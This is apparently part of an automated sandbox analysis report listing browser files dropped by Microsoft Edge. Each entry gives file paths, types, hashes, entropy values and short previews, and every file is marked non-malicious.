File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46641816634711447
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0fOt:v7doKsKuKZKlZNmu46yjx0f4
MD5:	FC8D4603D5357328533595FFE49074F9
SHA1:	6F8C280B1A6909B4CEAE79642C47EF3041B3AF5E
SHA-256:	A27EF58686BECE0DEBE79E9FEFCA2CC68ED844812FC9B79858A6D0CD332678A0
SHA-512:	EB29825D6659BC1FA9482946385F4623FFB34BE63913C914B6AA3E5C4F79933EC77F7265EC2394E877B292089E75E540DEB88C58494446CBE7D7AD701A337A12
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b6d7cc44-1b6c-4d48-9e8f-50df78685b86.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37149
Entropy (8bit):	5.564546436467676
Encrypted:	false
SSDEEP:	768:zzWn6bWlYW5wzbf4YJ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPST5CI3UEhrwXj1C5:zC6bgYWazbfFJu1jaDT5PhSz1CzJtZ
MD5:	CD0C7364DA7BB42D0F739420E23D8A13
SHA1:	AB5D88BB6301D228DA72650758C50786DA06CE06
SHA-256:	04BC5354DA713D802EA23A08D29DE29114E8194BD1A1E33EC9AF73510A0F06EA
SHA-512:	A770769C8A9CE8F3735091CEFE583B9B85F53E5070499086EB50B932C3C1091D00624394DC21491D294491D29442C80DE1F3033235AD00A02D16AF2F56CD81ED
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376308049722999","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376308049722999","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e7871f6e-459f-4aca-8b9e-b618e2674c1b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f8e8d36d-dc0b-4c79-acf5-5511c22590b6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17559), with no line terminators
Category:	dropped
Size (bytes):	17561
Entropy (8bit):	5.482883186233836
Encrypted:	false
SSDEEP:	384:stetPGKSu4lsR1CDqjSYViG+ZaGhbGRQw43Q:scOxub1CGP+ZagbGCRQ
MD5:	15C5AE38A264F4221CE75E04D0B093A2
SHA1:	CE0F332A112638964429700489D143F2CB4502D2
SHA-256:	C2B86709A5E5C9D215FA6BD39F70EEEE37FAA401E6BA2B674FCE45AAF81B29A3
SHA-512:	C3434078557E08DF19D075AB4BDDC5D5D1FFB14DF0A50C0FAD4C5337494A0825E98497BE5F2F316098B15A82AA77CDB0F0B9E9332DC35529B2CBB7AC2F3F44A1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376308050298360","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fbc766ad-9c3d-4b0e-973d-c745b06e789a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13822
Entropy (8bit):	5.230470405446557
Encrypted:	false
SSDEEP:	192:stetJ99QTryDigabatSuyplsR1aFvrE9ky/NRirU8EbV+FnRQwqLtU/PLYJ:stetPGKSu4lsR1CDcbGRQwhQ
MD5:	00B7B756CBA8F8B585B0244B88D4F34F
SHA1:	CEAB5554E2B4746A904DA087D485157FED9D3612
SHA-256:	C4795F560ABD232A1FAB5EEAE9F1B2223B0921C1754BF7DEEC1ED8FC1E08FDB7
SHA-512:	F07E777C60B1E605185544FCC49C7DCDD322AD65484F783A89145E334F325F40B3FB6CDBCF1ED19D73A7F2D556EB63F163A178DAF228CB8137A3EC12E71A617A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376308050298360","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10274762931988739
Encrypted:	false
SSDEEP:	12:+oaSoaR5spEjVl/PnnnnnnnnnnnvoQ/Eou:+5S5RaoPnnnnnnnnnnnv1j
MD5:	D2CD15CFCC00AC2282908A61FD826652
SHA1:	3EFFEACFA5D0CB7184ADA83C6F7FFB94479015F1
SHA-256:	6B3B97BFA5903252F43D4D59723834AFFBA09CBEAEB4601640CF616D94C68694
SHA-512:	98F9B10820F749861F1DAD9339A53BB25CAF935BFB78D80299A6CD6947DD96CF39BF16602E76521B0DE05831D37CE75E7AE6D8507702C9C2F133C2BC61F860B6
Malicious:	false
Preview:	..-.............M.........W]..$J...V......_...-.............M.........W]..$J...V......_.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8891528125295647
Encrypted:	false
SSDEEP:	384:R+mTHptUTSzFm7PhWag7M21wiv8z4y52yseNyByc8yKxyNs:DUdX
MD5:	FBED68227FB05F05AF7E7CB9C8F348F9
SHA1:	CDB52E77F208E7B7D3D49C3C4DFE38370D71B902
SHA-256:	B1606B188F528D70B27B18A35E110B19AD1115599FE866DBEEC08FE7AC752168
SHA-512:	E8DD445368DC893A6DF2D8C7A6A0B90490EBA61448912C089DFEE13D9A08B99C69906706323E78A8C48A7CB02FAD00FDC9FD8D55E08041BB40823B77C23F30E9
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5758697819552334
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuUllO2h8pkU:pHayhlO2PU
MD5:	3C3B6C1207838CBB719AB6C90ED5110B
SHA1:	5C200222F1E65EC74136EA61F1E7A0D2B3D11DDD
SHA-256:	D24B6714D7F107D1F0D5E8C973D263DD549EF879626C6DEDFE0686D04DAF8910
SHA-512:	C71279853E9F6F3CE1D8EEF07CDFA6068F1DA0CC24385551584EB3A02F2608B4E44BFDBB2BBE800233B9B611D5961C31D5785C18854F1D146AC341132E077598
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...................;...............#38_h.......6.Z..W.F.....JCX.....JCX.........V.e................V.e................V.e................L...0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.175345318256957
Encrypted:	false
SSDEEP:	6:HURUhxOq2PN723oH+TcwtfrK+IFUt8YURUhxXZmw+YURU3uDzkwON723oH+Tcwt5:k6OvVaYeb23FUt8b6X/+bdv5OaYeb3J
MD5:	B0AF33A23F366D1C6262ED69DC4C912C
SHA1:	476D66CF37DF6F42232CAF16EA7D8E49DE0EA36E
SHA-256:	CFC85FF9DF296AC7BC6B5480358768191FEE55C07DFFE10BCF472686588851FB
SHA-512:	44FF33FC5AF930565222C90B8E6B2819BFE15025009AB174CD619B4B01D935C8531911973DA53C624C4EDE085B93BAEAB87AEA95B1C159D7E59FAD7F882F9056
Malicious:	false
Preview:	2024/11/17-04:07:30.343 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/17-04:07:30.343 1c54 Recovering log #3.2024/11/17-04:07:30.344 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.175345318256957
Encrypted:	false
SSDEEP:	6:HURUhxOq2PN723oH+TcwtfrK+IFUt8YURUhxXZmw+YURU3uDzkwON723oH+Tcwt5:k6OvVaYeb23FUt8b6X/+bdv5OaYeb3J
MD5:	B0AF33A23F366D1C6262ED69DC4C912C
SHA1:	476D66CF37DF6F42232CAF16EA7D8E49DE0EA36E
SHA-256:	CFC85FF9DF296AC7BC6B5480358768191FEE55C07DFFE10BCF472686588851FB
SHA-512:	44FF33FC5AF930565222C90B8E6B2819BFE15025009AB174CD619B4B01D935C8531911973DA53C624C4EDE085B93BAEAB87AEA95B1C159D7E59FAD7F882F9056
Malicious:	false
Preview:	2024/11/17-04:07:30.343 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/17-04:07:30.343 1c54 Recovering log #3.2024/11/17-04:07:30.344 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.167687436503366
Encrypted:	false
SSDEEP:	6:HURUxJ1q2PN723oH+TcwtfrzAdIFUt8YURUhxXZmw+YURU3uDzkwON723oH+Tcwc:kq7vVaYeb9FUt8b6X/+bdv5OaYeb2J
MD5:	C965F7B20643F2629E8FC2ADE7A7A874
SHA1:	731D662B4FBC893A8A9DC449F44CFD7430EEBA0E
SHA-256:	8BEB32979D09C14392AB2AA01EE0BE9FDAA0E0F48A446C6067DB2F0FD60D1AC1
SHA-512:	FEB9851EE619818C55B5F0B7F12161886B08ABAF6BBD2F37A5E7AF049287F8905A77914DF252CF5C5D9FD700A0ECF99C007C4FB9C4AA254B900E4AFF88E7AC28
Malicious:	false
Preview:	2024/11/17-04:07:30.342 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/17-04:07:30.343 1c54 Recovering log #3.2024/11/17-04:07:30.344 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.167687436503366
Encrypted:	false
SSDEEP:	6:HURUxJ1q2PN723oH+TcwtfrzAdIFUt8YURUhxXZmw+YURU3uDzkwON723oH+Tcwc:kq7vVaYeb9FUt8b6X/+bdv5OaYeb2J
MD5:	C965F7B20643F2629E8FC2ADE7A7A874
SHA1:	731D662B4FBC893A8A9DC449F44CFD7430EEBA0E
SHA-256:	8BEB32979D09C14392AB2AA01EE0BE9FDAA0E0F48A446C6067DB2F0FD60D1AC1
SHA-512:	FEB9851EE619818C55B5F0B7F12161886B08ABAF6BBD2F37A5E7AF049287F8905A77914DF252CF5C5D9FD700A0ECF99C007C4FB9C4AA254B900E4AFF88E7AC28
Malicious:	false
Preview:	2024/11/17-04:07:30.342 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/17-04:07:30.343 1c54 Recovering log #3.2024/11/17-04:07:30.344 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755371351915
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynpSkzItSmd6qE7lFoC
MD5:	E7B678C336299B140515901E6D369E87
SHA1:	3CD740C2B6CF137D9EF288B5A2B37F3B6BF30DF9
SHA-256:	627F5349C0E6A5BF46A313DA57ED124462864262FC35AE16D057A9C837E32F79
SHA-512:	001309D95227C838E96A37CBDB0EF3E34F1EE3981109C3D70B83459697C24816AE868830181C8F3EB775260BAF1B0DA90FF007073E0ABE92B3B42D3C15D84C1C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a48e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755371351915
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynpSkzItSmd6qE7lFoC
MD5:	E7B678C336299B140515901E6D369E87
SHA1:	3CD740C2B6CF137D9EF288B5A2B37F3B6BF30DF9
SHA-256:	627F5349C0E6A5BF46A313DA57ED124462864262FC35AE16D057A9C837E32F79
SHA-512:	001309D95227C838E96A37CBDB0EF3E34F1EE3981109C3D70B83459697C24816AE868830181C8F3EB775260BAF1B0DA90FF007073E0ABE92B3B42D3C15D84C1C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a49e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755371351915
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMtkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynpSkzItSmd6qE7lFoC
MD5:	E7B678C336299B140515901E6D369E87
SHA1:	3CD740C2B6CF137D9EF288B5A2B37F3B6BF30DF9
SHA-256:	627F5349C0E6A5BF46A313DA57ED124462864262FC35AE16D057A9C837E32F79
SHA-512:	001309D95227C838E96A37CBDB0EF3E34F1EE3981109C3D70B83459697C24816AE868830181C8F3EB775260BAF1B0DA90FF007073E0ABE92B3B42D3C15D84C1C
Malicious:	false
